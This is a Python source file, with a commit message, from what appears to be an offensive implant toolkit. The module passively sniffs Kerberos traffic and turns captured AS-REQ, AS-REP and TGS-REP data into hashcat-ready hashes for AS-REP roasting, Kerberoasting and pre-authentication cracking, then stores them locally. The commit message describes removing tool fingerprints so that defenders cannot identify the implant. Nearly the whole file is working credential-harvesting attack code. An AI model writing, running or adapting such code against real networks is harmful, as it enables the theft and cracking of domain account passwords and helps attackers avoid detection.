Files
bigbrother/modules/passive/kerberos_harvester.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

752 lines
25 KiB
Python

#!/usr/bin/env python3
"""Passive Kerberos ticket harvester for offline cracking.
Parses Kerberos traffic on port 88:
- AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500)
- AS-REP: extract hash for AS-REP roasting (hashcat mode 18200)
- TGS-REP: extract hash for Kerberoasting (hashcat mode 13100)
Also identifies domain controllers, realms, and SPNs.
Publishes TICKET_HARVESTED events immediately on capture.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Kerberos message types (application tags)
KRB_AS_REQ = 10
KRB_AS_REP = 11
KRB_TGS_REQ = 12
KRB_TGS_REP = 13
KRB_ERROR = 30
# Encryption types
ETYPE_AES256_CTS = 18
ETYPE_AES128_CTS = 17
ETYPE_RC4_HMAC = 23
ETYPE_DES_CBC_MD5 = 3
# Hashcat modes
HASHCAT_AS_REQ_ETYPE23 = 7500
HASHCAT_AS_REP_ROAST = 18200
HASHCAT_KERBEROAST_RC4 = 13100
HASHCAT_KERBEROAST_AES256 = 19700
HASHCAT_KERBEROAST_AES128 = 19600
class KerberosHarvester(BaseModule):
"""Harvest Kerberos tickets from wire for offline cracking."""
name = "kerberos_harvester"
module_type = "passive"
priority = 80
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 50
FLUSH_INTERVAL = 30
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_tickets = 0
self._realms = set()
self._dcs = set()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("KerberosHarvester requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 88", queue_depth=5000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-kerb-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-kerb-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("KerberosHarvester started — monitoring port 88")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"KerberosHarvester stopped — %d tickets, %d realms, %d DCs",
self._total_tickets, len(self._realms), len(self._dcs),
)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_tickets": self._total_tickets,
"realms": list(self._realms),
"domain_controllers": list(self._dcs),
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS kerberos_tickets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dc_ip TEXT NOT NULL,
realm TEXT,
username TEXT,
spn TEXT,
ticket_type TEXT NOT NULL,
hashcat_mode INTEGER,
hash_value TEXT
);
CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username);
CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm);
CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type);
CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse Ethernet->IP->TCP/UDP->Kerberos."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 6: # TCP
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
if src_port != 88 and dst_port != 88:
return
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload = raw[tcp_offset + tcp_hdr_len:]
# TCP Kerberos has 4-byte length prefix
if len(payload) > 4:
payload = payload[4:]
elif ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
if src_port != 88 and dst_port != 88:
return
payload = raw[udp_offset + 8:]
else:
return
if len(payload) < 10:
return
# Determine direction: requests go TO port 88, responses come FROM port 88
if dst_port == 88:
client_ip = src_ip
dc_ip = dst_ip
else:
client_ip = dst_ip
dc_ip = src_ip
self._dcs.add(dc_ip)
self._parse_kerberos(ts, client_ip, dc_ip, payload)
def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str,
data: bytes) -> None:
"""Parse ASN.1/DER-encoded Kerberos message."""
if len(data) < 2:
return
# Kerberos messages use ASN.1 application tags
# AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11]
# TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13]
tag = data[0]
if tag & 0xE0 != 0x60: # Application constructed
return
msg_type = tag & 0x1F
# Read outer length
_, offset = self._asn1_length(data, 1)
if offset < 0 or offset >= len(data):
return
if msg_type == KRB_AS_REQ:
self._parse_as_req(ts, client_ip, dc_ip, data, offset)
elif msg_type == KRB_AS_REP:
self._parse_as_rep(ts, client_ip, dc_ip, data, offset)
elif msg_type == KRB_TGS_REP:
self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset)
def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500)."""
realm = ""
username = ""
enc_timestamp = ""
etype = 0
# Walk the ASN.1 SEQUENCE looking for known context tags
# AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4]
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0: # Not context-specific constructed
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # padata
# Look for PA-ENC-TIMESTAMP (type 2)
enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data)
if enc_ts:
enc_timestamp = enc_ts
etype = found_etype
elif ctx_num == 4: # req-body (KDC-REQ-BODY)
r, u = self._extract_req_body_info(ctx_data)
if r:
realm = r
if u:
username = u
pos = next_pos + length
if realm:
self._realms.add(realm)
# If we got an encrypted timestamp, emit for hashcat 7500
if enc_timestamp and username:
hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500
hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, "",
"AS-REQ", hashcat_mode, hash_value,
)
def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse AS-REP for AS-REP roasting hash (mode 18200)."""
realm = ""
username = ""
enc_part = ""
etype = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # crealm
realm = self._read_string(ctx_data)
elif ctx_num == 4: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 6: # enc-part (EncryptedData)
etype, enc_part = self._extract_encrypted_data(ctx_data)
pos = next_pos + length
if realm:
self._realms.add(realm)
if enc_part and username:
if etype == ETYPE_RC4_HMAC:
hashcat_mode = HASHCAT_AS_REP_ROAST
else:
hashcat_mode = HASHCAT_AS_REP_ROAST
hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, "",
"AS-REP", hashcat_mode, hash_value,
)
def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse TGS-REP for Kerberoasting hash (mode 13100)."""
realm = ""
username = ""
spn = ""
enc_part = ""
etype = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # crealm
realm = self._read_string(ctx_data)
elif ctx_num == 4: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 5: # ticket — contains the SPN and enc-part
t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data)
if t_spn:
spn = t_spn
if t_enc:
enc_part = t_enc
etype = t_etype
pos = next_pos + length
if realm:
self._realms.add(realm)
if enc_part and (username or spn):
if etype == ETYPE_RC4_HMAC:
hashcat_mode = HASHCAT_KERBEROAST_RC4
elif etype == ETYPE_AES256_CTS:
hashcat_mode = HASHCAT_KERBEROAST_AES256
elif etype == ETYPE_AES128_CTS:
hashcat_mode = HASHCAT_KERBEROAST_AES128
else:
hashcat_mode = HASHCAT_KERBEROAST_RC4
hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, spn,
"TGS-REP", hashcat_mode, hash_value,
)
# ------------------------------------------------------------------
# ASN.1 helpers
# ------------------------------------------------------------------
@staticmethod
def _asn1_length(data: bytes, offset: int) -> tuple:
"""Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset)."""
if offset >= len(data):
return -1, offset
first = data[offset]
if first & 0x80 == 0:
return first, offset + 1
num_bytes = first & 0x7F
if num_bytes == 0 or offset + 1 + num_bytes > len(data):
return -1, offset
length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big")
return length, offset + 1 + num_bytes
def _enter_sequence(self, data: bytes, offset: int) -> int:
"""Skip into a SEQUENCE tag and return offset to first element, or -1."""
if offset >= len(data) or data[offset] != 0x30:
return -1
_, new_offset = self._asn1_length(data, offset + 1)
return new_offset
def _read_string(self, data: bytes) -> str:
"""Read a GeneralString/UTF8String from ASN.1 data."""
if len(data) < 2:
return ""
# Skip tag byte
tag = data[0]
length, offset = self._asn1_length(data, 1)
if length < 0 or offset + length > len(data):
return ""
return data[offset:offset + length].decode("utf-8", errors="replace")
def _extract_principal_name(self, data: bytes) -> str:
"""Extract principal name from a PrincipalName SEQUENCE."""
# PrincipalName ::= SEQUENCE { name-type[0], name-string[1] }
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
if ctx_num == 1: # name-string SEQUENCE OF GeneralString
name_data = data[next_pos:next_pos + length]
names = self._extract_string_sequence(name_data)
return "/".join(names) if names else ""
pos = next_pos + length
return ""
def _extract_string_sequence(self, data: bytes) -> list:
"""Extract strings from a SEQUENCE OF GeneralString."""
result = []
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return result
pos = seq_offset
while pos < len(data):
if pos >= len(data):
break
tag = data[pos]
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0 or next_pos + length > len(data):
break
try:
s = data[next_pos:next_pos + length].decode("utf-8", errors="replace")
result.append(s)
except Exception:
pass
pos = next_pos + length
return result
def _extract_encrypted_data(self, data: bytes) -> tuple:
"""Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return 0, ""
etype = 0
cipher_hex = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 0: # etype INTEGER
etype = self._read_integer(ctx_data)
elif ctx_num == 2: # cipher OCTET STRING
if len(ctx_data) >= 2:
c_len, c_off = self._asn1_length(ctx_data, 1)
if c_len > 0 and c_off + c_len <= len(ctx_data):
cipher_hex = ctx_data[c_off:c_off + c_len].hex()
pos = next_pos + length
return etype, cipher_hex
def _extract_ticket_info(self, data: bytes) -> tuple:
"""Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex)."""
# Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] }
if len(data) < 2:
return "", 0, ""
# Skip application tag
if data[0] & 0xE0 == 0x60:
_, offset = self._asn1_length(data, 1)
else:
offset = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return "", 0, ""
spn = ""
etype = 0
cipher_hex = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 2: # sname (PrincipalName)
spn = self._extract_principal_name(ctx_data)
elif ctx_num == 3: # enc-part (EncryptedData)
etype, cipher_hex = self._extract_encrypted_data(ctx_data)
pos = next_pos + length
return spn, etype, cipher_hex
def _extract_padata_enc_timestamp(self, data: bytes) -> tuple:
"""Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return "", 0
pos = seq_offset
while pos < len(data) - 2:
# Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] }
if data[pos] != 0x30:
break
pa_len, pa_off = self._asn1_length(data, pos + 1)
if pa_len < 0:
break
pa_data = data[pa_off:pa_off + pa_len]
pa_type = 0
pa_value = b""
inner_pos = 0
while inner_pos < len(pa_data) - 2:
ctx_tag = pa_data[inner_pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
il, ip = self._asn1_length(pa_data, inner_pos + 1)
if il < 0:
break
if ctx_num == 1: # padata-type
pa_type = self._read_integer(pa_data[ip:ip + il])
elif ctx_num == 2: # padata-value
pa_value = pa_data[ip:ip + il]
inner_pos = ip + il
if pa_type == 2 and pa_value: # PA-ENC-TIMESTAMP
etype, cipher = self._extract_encrypted_data(pa_value)
if cipher:
return cipher, etype
pos = pa_off + pa_len
return "", 0
def _extract_req_body_info(self, data: bytes) -> tuple:
"""Extract realm and cname from KDC-REQ-BODY. Returns (realm, username)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return "", ""
realm = ""
username = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 1: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 2: # realm
realm = self._read_string(ctx_data)
pos = next_pos + length
return realm, username
def _read_integer(self, data: bytes) -> int:
"""Read an ASN.1 INTEGER value."""
if len(data) < 2:
return 0
tag = data[0]
if tag != 0x02:
return 0
length, offset = self._asn1_length(data, 1)
if length < 0 or offset + length > len(data):
return 0
return int.from_bytes(data[offset:offset + length], "big", signed=True)
# ------------------------------------------------------------------
# Ticket emission
# ------------------------------------------------------------------
def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str,
realm: str, username: str, spn: str,
ticket_type: str, hashcat_mode: int,
hash_value: str) -> None:
self._total_tickets += 1
record = (ts, client_ip, dc_ip, realm, username, spn,
ticket_type, hashcat_mode, hash_value)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
self.bus.emit("TICKET_HARVESTED", {
"source_ip": client_ip,
"dc_ip": dc_ip,
"realm": realm,
"username": username,
"spn": spn,
"ticket_type": ticket_type,
"hashcat_mode": hashcat_mode,
}, source_module=self.name)
logger.info(
"TICKET: %s %s@%s -> %s (hashcat -m %d)",
ticket_type, username, realm, dc_ip, hashcat_mode,
)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Kerberos flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO kerberos_tickets "
"(timestamp, source_ip, dc_ip, realm, username, spn, "
"ticket_type, hashcat_mode, hash_value) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d kerberos tickets", len(batch))